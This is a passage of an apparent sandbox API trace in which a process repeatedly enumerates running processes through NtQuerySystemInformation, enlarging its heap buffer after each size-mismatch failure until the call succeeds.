RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0064.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.363] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0064.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.364] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0064.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.364] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0064.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.364] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0064.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.365] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x19384) returned 0x577e58 [0064.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0065.495] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0065.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0065.495] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0065.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.495] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0065.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.495] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0065.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.496] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.496] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.496] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.496] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.496] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.497] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0065.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.497] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0065.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.497] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0065.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.498] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0065.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.498] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0065.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.498] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0065.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.498] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0065.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.499] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0065.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.499] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0065.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.499] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0065.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.500] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0065.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.500] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0065.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.500] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0065.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.501] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0065.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.501] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x19384) returned 0x577e58 [0065.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.502] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1a3a8) returned 0x577e58 [0065.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0065.764] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0065.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0065.764] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0065.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.764] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0065.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.765] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0065.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.765] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0065.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.765] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0065.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.765] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0065.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.766] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0065.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.766] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0065.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.766] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0065.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.766] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0065.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.767] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0065.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.767] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0065.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.767] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0065.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0065.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0065.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0065.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0065.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0065.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0065.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.770] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0065.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.770] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0065.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.770] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0065.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.771] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x19384) returned 0x577e58 [0065.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.771] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1a3a8) returned 0x577e58 [0065.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0065.917] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0065.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0065.917] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0065.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.917] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0065.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.917] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0065.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.918] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0065.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0065.918] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0065.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.918] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0065.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.918] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0065.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.919] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0065.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.919] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0065.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.919] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0065.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.919] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0065.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.920] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0065.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.920] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0065.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.920] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0065.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0065.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0065.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0065.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.922] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0065.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.922] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0065.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.922] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0065.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.923] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0065.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.923] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0065.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.924] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x19384) returned 0x577e58 [0065.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.924] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1a3a8) returned 0x577e58 [0065.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0065.924] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1b3cc) returned 0x592208 [0065.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x592208, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x592208, ResultLength=0x0) returned 0x0 [0066.444] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0066.444] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0066.444] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0066.444] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.445] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0066.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.445] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0066.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.445] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0066.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.445] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0066.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.447] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0066.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.448] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0066.448] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, 